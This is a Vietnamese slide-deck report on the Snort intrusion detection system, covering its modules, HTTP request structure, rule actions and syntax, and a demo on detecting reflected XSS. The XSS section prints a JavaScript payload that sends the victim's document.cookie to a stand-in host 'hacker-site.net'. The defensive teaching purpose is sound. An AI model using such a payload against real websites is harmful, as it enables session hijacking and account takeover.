You are on page 1of 16

BÁO CÁO TỔNG QUAN VỀ

SNORT
1.Các thành phần của Snort

Cấu trúc của Snort gồm có bốn thành phần chính (Hình 3.1):

 Mô đun bắt gói tin (sniffer)


 Mô đun tiền xử lý (preprocessor)
 Mô đun phát hiện (detection engine)
 Mô đun kết xuất thông tin (output)
1.Các thành phần của Snort

Khi Snort hoạt động, nó sẽ lắng nghe tất cả các gói tin nào di chuyển qua nó. Các gói
tin sau khi bị bắt sẽ được giải mã. Tiếp theo sẽ đưa vào mô đun tiền xử lý và rồi mô
đun phát hiện. Tại đây gói tin đó được so sánh với tập luật (rulesets). Nếu khớp với
luật nào đó thì sẽ đưa vào mô đun kết xuất thông tin theo đúng định dạng mong
muốn.

Mô đun bắt gói tin (sniffer)


Snort chỉ sử dụng thư viện pcap để bắt mọi gói tin trên mạng lưu thông qua hệ
thống. Mọi gói tin sau khi được giải mã sẽ đưa tiếp vào mô đun tiền xử lý.

Mô đun tiền xử lý (preprocessor)


Mô đun này lấy các gói tin thô và kiểm tra chúng dựa trên các plug-ins nhất định (như
port scanner plug-in) . Các plug-ins này kiểm tra một loại hành vi nhất định từ gói tin.
Khi gói được xác định có một loại hành vi cụ thể, nó được gửi đến mô đun phát hiện.
1.Các thành phần của Snort

Nhiệm vụ mô đun tiền xử lý:

- Kết hợp lại các gói tin: Khi một dữ liệu lớn được gửi đi, thông tin sẽ không đóng gói
toàn bộ vào một gói tin mà thực hiện phân mảnh, chia thành nhiều gói tin rồi mới gửi đi.
Khi Snort nhận được các gói tin này, nó phải thực hiện kết nối lại để có gói tin ban đầu. Mô
đun tiền xử lý giúp Snort có thể hiểu được các phiên làm việc khác nhau.

- Giải mã và chuẩn hóa giao thức (decode/normalize)

- Phát hiện các xâm nhập bất thường


Detection
Preprocessor
Engine

Packets

HTTP Encoding Plug-in

Port Scanning Plug-in


1.Các thành phần của Snort

Mô đun phát hiện (detection engine)

Mô đun phát hiện có khả năng tách các của gói tin ra và Detection
Logging/Alert
Engine
áp dụng luật lên từng phần của gói tin:

 IP header Packets

 Header ở tầng giao vận: TCP, UDP


 Header ở tầng ứng dụng: DNS, HTTP, FTP, … Rule

 Phần tải (payload) của gói tin If Yes, send


to Logging/
Do the Alerting
Do các luật trong Snort được đánh số thứ tự ưu tiên nên Packets
Match?
một gói tin khi bị phát hiện bởi nhiều luật khác nhau,
cảnh báo được đưa ra theo luật có mức ưu tiên cao nhất. No

Discard
1.Các thành phần của Snort

Mô đun kết xuất thông tin (output)


Tùy thuộc vào mô đun phát hiện có nhận dạng được xâm nhập hay không mà gói tin có thể
bị ghi log hay đưa ra cảnh báo. Các tệp log là tệp dữ liệu có thể ghi dưới dạng khác nhau
như tcpdump, xml, syslog, log file.
2.Cấu trúc của một request HTTP

HTTP request method: là phương thức để chỉ ra hành


động mong muốn được thực hiện trên tài nguyên đã
xác định.
Cấu trúc của một HTTP request :

- Một request-line = phương thức + URI-request


+ phiên bản HTTP. Giao thức HTTP định nghĩa
một tập các giao thức GET, POST, HEAD, PUT
… Client có thể sử dụng một trong các phương
thức đó để gửi request lên server
- Một dòng trống đánh dấu sự kết thúc của
các trường header
- Header: Chứa các thông tin của thiết bị
thực hiện request này.
- Body: Phần thân chứa dữ liệu của request
2.Cấu trúc của một request HTTP

Giao thức HTTP định nghĩa một tập các phương thức request, client có thể sử dụng một
trong ác phương thức này để tạo request tới HTTP server, dưới đây liệt kê một số phương
thức phổ biến.

Phương thức (method) Hoạt động

GET Được sử dụng để lấy lại thông tin từ server một tài nguyên xác
định
POST Yêu cầu máy chủ chấp nhận thực thể được đính kèm trong
request được xác định bởi URI (Uniform Resource Identifier),
ví dụ thông tin của khách hàng, file tải lên, …

PUT Nếu URI đề cập đến một tài nguyên đã có, nó sẽ bị sửa đổi, nếu
URI không trỏ đến một tài nguyên hiện có, thì máy chủ có thể
tạo ra tài nguyên với URI đó

DELETE Xóa bỏ tất cả các đại diện của tài nguyên được chỉ bởi URI
3.Chế độ hoạt động và cấu trúc tập lệnh Rule của Snort

– Các chế độ của Snort: Snort ở chức năng


IDS có 03 chế độ chính bao gồm: Sniffer
mode, Packet Logger mode và Network
Detection System mode. Ngoài ra còn có
Inline mode thực hiện chức năng IPS.
3.Chế độ hoạt động và cấu trúc tập lệnh Rule của Snort

Cấu trúc của một Snort Rule gồm hai phần: Rule Header và Rule Option.

- Rule Header:Đây là phần xác định Rules sẽ làm gì (Actions), giao thức (Protocol), địa
chỉ IP nguồn và đích, netmask, port nguồn và đích của rule, xác định xem rule áp dụng gói tin
gì, của ai, ở đâu, và hành động gì cần thực hiện khi nhận được gói tin đáp ứng điều kiện đó.
3.Chế độ hoạt động và cấu trúc tập lệnh Rule của Snort

Action:
Có 5 action mặc định trong Snort là alert, log, pass, activate, và dynamic.
• alert – Tạo ra một cảnh báo bằng cách sử dụng phương pháp cảnh báo đã được chọn và ghi
chép gói tin.
• log – Ghi chép gói tin vào cơ sở dữ liệu.
• pass – Bỏ qua gói tin, góp phần tăng tốc độ của Snort khi không cần áp dụng các kiểm tra lên
một số gói tin nhất định.
• activate – Cảnh báo và sau đó bật một rule dynamic khác để kiểm tra thêm điều kiện. Activate
được sử dụng khi ta cần kiểm tra thêm một hay các gói tin nhận được. Dynamic rule được sử
dụng kèm với activate.
• dynamic – Không làm gì cho đến khi được kích hoạt bởi một rule activate, sau đó hoạt động
như một rule log (ghi chép). Chỉ có thể được kích hoạt bằng rule activate.
Nếu chạy ở mode inline, Snort có thêm các action như drop, reject và sdrop.
• drop – Block và ghi chép gói tin.
• reject – Block và ghi chép gói tin, gửi TCP reset nếu giao thức là TCP và gửi ICMP port
unreachable nếu giao thức là ICMP.
• sdrop – Block gói tin nhưng không ghi chép về nó.
3.Chế độ hoạt động và cấu trúc tập lệnh Rule của Snort

Protocol: xác định loại giao thức mạng (định dạng gói tin UDP, TCP, ICMP, IP, ARP, …)
IP Address: xác định địa chỉ mạng ngoại vi và nội bộ.
Port: cổng ra tại mạng ngoại vi và cổng vào của gói tin tại mạng nội bộ.
Direction (hướng): trong rule xác định hướng của traffic mà rule được áp dụng.
Có 2 toán tử hướng:
• ->: địa chỉ IP và port nằm bên trái toán tử được xem là nguồn của traffic, còn bên phải là
đích của traffic.
• <> : toán tử 2 hướng, giống như -> nhưng hoạt động 2 chiều, yêu cầu Snort xem xét các cặp
địa chỉ IP và port ở cả 2 hướng nguồn và đích, thường được sử dụng để theo dõi hay phân
tích cả 2 bên của cuộc hội thoại.
Ví dụ một số rule header:
• alert tcp !192.168.1.0/24 any -> 192.168.1.0/24 111
• log tcp !192.168.1.0/24 any <> 192.168.1.0/24 23
3.Chế độ hoạt động và cấu trúc tập lệnh Rule của Snort

Rule Options
Rule options theo sau Rule header và nằm trong một dấu ngoặc đơn. Một rule có thể có
một hoặc nhiều option và các option cách nhau bởi dấu chấm phẩy (;). Nhiều option được
sử dụng tương tự như việc sử dụng phép AND chúng với nhau. Action được định nghĩa
trong rule chỉ được thực thi khi tất cả điều kiện trong phần options được thỏa.
Rule options thường gồm 2 phần: từ khóa (keyword) và tham số được phân cách với nhau
bằng dấu hai chấm (:).

Có 4 loại rule options chính: General, payload, non-payload và post-detection.


4.Demo viết rule phát hiện và ngặn chặn tấn công XSS

Reflected XSS: Cách tấn công này chiếm phiên làm việc (session) của người dùng, từ đó
có thể truy cập được dữ liệu và chiếm được quyền của họ trên website
4.Demo viết rule phát hiện và ngặn chặn tấn công XSS

1. Người dùng đăng nhập web và giả sử được gán session:


Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Bằng cách nào đó, hacker gửi được cho người dùng URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2Bdocument.cookie;
Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra
3. Nạn nhân truy cập đến URL trên
4. Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn javascript của hacker)
5. Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
6. Đoạn javascript mà hacker tạo ra thực tế như sau:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1
Host: hacker-site.net
7. Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng
sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên
website mà nạn nhân có.
4.Demo viết rule phát hiện và ngặn chặn tấn công XSS

- Sử dụng snort để phát hiện và ngặn chặn tấn công xss:


+ Rule phát hiện tấn công và ngăn chặn:

+ Chạy snort:

+ Kết quả hiển thị trên terminal:

You might also like